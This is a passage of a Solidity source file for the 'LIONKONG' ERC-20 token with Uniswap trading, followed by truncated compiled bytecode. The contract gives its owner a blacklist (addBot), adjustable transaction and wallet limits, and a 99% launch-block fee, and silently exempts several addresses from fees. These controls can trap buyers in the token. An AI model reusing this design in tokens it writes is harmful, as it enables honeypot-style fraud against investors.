event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LIONKONG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "LIONKONG";
string private constant _symbol = "LIONKONG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) {
_feeAddrWallet1 = addr1;
_feeAddrWallet2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[addr4] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[addr5] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(
address(0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 12;
if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 1;
_feeAddr2 = 12;
}
if (openBlock + 4 >= block.number && from == uniswapV2Pair) {
_feeAddr1 = 1;
_feeAddr2 = 99;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function whitelist(address payable adr1) external onlyOwner {
_isExcludedFromFee[adr1] = true;
}
function unwhitelist(address payable adr2) external onlyOwner {
_isExcludedFromFee[adr2] = false;
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
// .5%
_maxTxAmount = 1000000000000 * 10**9;
_maxWalletAmount = 2000000000000 * 10**9;
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setSwapTokens(uint256 swaptokens) public onlyOwner {
_swapTokensAtAmount = swaptokens;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_feeAddr1,
_feeAddr2
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf91461043f578063dd62ed3e14610456578063e98391ff14610493578063ec28438a146104bc578063f4293890146104e5578063ffecf516146104fc5761014b565b80638da5cb5b1461033157806395d89b411461035c5780639a590427146103875780639b19251a146103b0578063a9059cbb146103d9578063bf6642e7146104165761014b565b806327a14fc21161010857806327a14fc214610249578063313ce5671461027257806351bc3c851461029d5780635932ead1146102b457806370a08231146102dd578063715018a61461031a5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610525565b60405161017291906131e3565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612d24565b610562565b6040516101af91906131c8565b60405180910390f35b3480156101c457600080fd5b506101cd610580565b6040516101da91906133a5565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612cd5565b610592565b60405161021791906131c8565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c1e565b61066b565b005b34801561025557600080fd5b50610270600480360381019061026b9190612db2565b61075b565b005b34801561027e57600080fd5b50610287610809565b604051610294919061341a565b60405180910390f35b3480156102a957600080fd5b506102b2610812565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612d60565b61082b565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190612c1e565b6108dd565b60405161031191906133a5565b60405180910390f35b34801561032657600080fd5b5061032f61092e565b005b34801561033d57600080fd5b50610346610a81565b60405161035391906130fa565b60405180910390f35b34801561036857600080fd5b50610371610aaa565b60405161037e91906131e3565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a99190612c70565b610ae7565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612c70565b610bd7565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190612d24565b610cc7565b60405161040d91906131c8565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612db2565b610ce5565b005b34801561044b57600080fd5b50610454610d84565b005b34801561046257600080fd5b5061047d60048036038101906104789190612c99565b6112f9565b60405161048a91906133a5565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612d60565b611380565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612db2565b611432565b005b3480156104f157600080fd5b506104fa6114e0565b005b34801561050857600080fd5b50610523600480360381019061051e9190612c1e565b6114f1565b005b60606040518060400160405280600881526020017f4c494f4e4b4f4e47000000000000000000000000000000000000000000000000815250905090565b600061057661056f6115e1565b84846115e9565b6001905092915050565b600069152d02c7e14af6800000905090565b600061059f8484846117b4565b610660846105ab6115e1565b61065b85604051806060016040528060288152602001613a3660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106116115e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200b9092919063ffffffff16565b6115e9565b600190509392505050565b6106736115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f7906132a5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107636115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e7906132a5565b60405180910390fd5b633b9aca00816108009190613511565b600d8190555050565b60006009905090565b600061081d306108dd565b90506108288161206f565b50565b6108336115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906132a5565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b6000610927600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612369565b9050919050565b6109366115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba906132a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4c494f4e4b4f4e47000000000000000000000000000000000000000000000000815250905090565b610aef6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b73906132a5565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bdf6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c63906132a5565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610cdb610cd46115e1565b84846117b4565b6001905092915050565b610ced6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906132a5565b60405180910390fd5b80600c8190555050565b610d8c6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e10906132a5565b60405180910390fd5b601360149054906101000a900460ff1615610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090613345565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610efa30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af68000006115e9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4057600080fd5b505afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f789190612c47565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fda57600080fd5b505afa158015610fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110129190612c47565b6040518363ffffffff1660e01b815260040161102f929190613115565b602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110819190612c47565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061110a306108dd565b600080611115610a81565b426040518863ffffffff1660e01b815260040161113796959493929190613167565b6060604051808303818588803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111899190612ddb565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550683635c9adc5dea00000600a81905550686c6b935b8bbd400000600d819055506001601360146101000a81548160ff02191690831515021790555043600b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112a392919061313e565b602060405180830381600087803b1580156112bd57600080fd5b505af11580156112d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f59190612d89565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113886115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906132a5565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b61143a6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be906132a5565b60405180910390fd5b633b9aca00816114d79190613511565b600a8190555050565b60004790506114ee816123d7565b50565b6114f96115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157d906132a5565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090613325565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c090613245565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a791906133a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b90613205565b60405180910390fd5b600081116118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce906132c5565b60405180910390fd5b6001600e81905550600c600f819055506118ef610a81565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561195d575061192d610a81565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119eb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a415750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fea57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aea5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611af357600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b9e5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c0c5750601360179054906101000a900460ff165b15611d8057600a54811115611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90613365565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613385565b60405180910390fd5b600d5481611ce4846108dd565b611cee919061348a565b1115611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d26906132e5565b60405180910390fd5b601e42611d3c919061348a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e2b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e97576001600e81905550600c600f819055505b436004600b54611ea7919061348a565b10158015611f025750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611f18576001600e819055506063600f819055505b6000611f23306108dd565b90506000600c548210159050808015611f495750601360159054906101000a900460ff16155b8015611fa35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fbb5750601360169054906101000a900460ff165b15611fe357611fc98261206f565b60004790506000811115611fe157611fe0476123d7565b5b505b5050611ffb565b6000600e819055506000600f819055505b6120068383836124d2565b505050565b6000838311158290612053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204a91906131e3565b60405180910390fd5b5060008385612062919061356b565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120fb5781602001602082028036833780820191505090505b5090503081600081518110612139577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121db57600080fd5b505afa1580156121ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122139190612c47565b8160018151811061224d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122b430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e9565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123189594939291906133c0565b600060405180830381600087803b15801561233257600080fd5b505af1158015612346573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60006008548211156123b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a790613225565b60405180910390fd5b60006123ba6124e2565b90506123cf818461250d90919063ffffffff16565b915050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242760028461250d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612452573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124a360028461250d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ce573d6000803e3d6000fd5b5050565b6124dd838383612557565b505050565b60008060006124ef612722565b91509150612506818361250d90919063ffffffff16565b9250505090565b600061254f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612787565b905092915050565b600080600080600080612569876127ea565b9550955095509550955095506125c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461285290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8816128fa565b6126b284836129b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270f91906133a5565b60405180910390a3505050505050505050565b60008060006008549050600069152d02c7e14af6800000905061275a69152d02c7e14af680000060085461250d90919063ffffffff16565b82101561277a5760085469152d02c7e14af6800000935093505050612783565b81819350935050505b9091565b600080831182906127ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c591906131e3565b60405180910390fd5b50600083856127dd91906134e0565b9050809150509392505050565b60008060008060008060008060006128078a600e54600f546129f1565b92509250925060006128176124e2565b9050600080600061282a8e878787612a87565b9250925092508282828989899c509c509c509c5